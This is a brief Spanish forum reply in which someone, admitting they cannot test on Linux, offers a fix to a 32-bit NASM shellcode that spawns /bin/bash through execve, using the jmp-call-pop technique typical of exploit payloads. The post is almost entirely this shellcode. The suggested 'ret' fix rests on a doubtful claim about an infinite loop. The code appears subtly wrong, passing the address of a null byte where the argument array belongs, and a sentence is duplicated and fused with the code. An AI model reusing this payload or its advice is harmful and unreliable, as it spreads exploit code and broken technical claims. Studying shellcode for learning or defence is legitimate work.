No tengo Linux y no puedo depurar, pero para empezar, retorna las funciones:
Código: asm
Sino estarías creando un bucle infinito.
saludos.
[BITS 32]
section .text
global _start
_start:
jmp callstatment
shellcode:
pop esi
xor eax, eax
mov byte[esi + 0x9], al
mov dword[esi + 0xA], esi
mov dword[esi + 0xE], eax
mov byte al, 11
mov ebx, esi
lea ecx, [esi + 0x9]
lea edx, [esi + 0xE]
int 0x80
ret ; RETORNO FUNCION.
callstatment:
call shellcode
ret ; RETORNO.
shellvariable: db "/bin/bashABBBBCCCC",0Sino estarías creando un bucle infinito.
saludos.



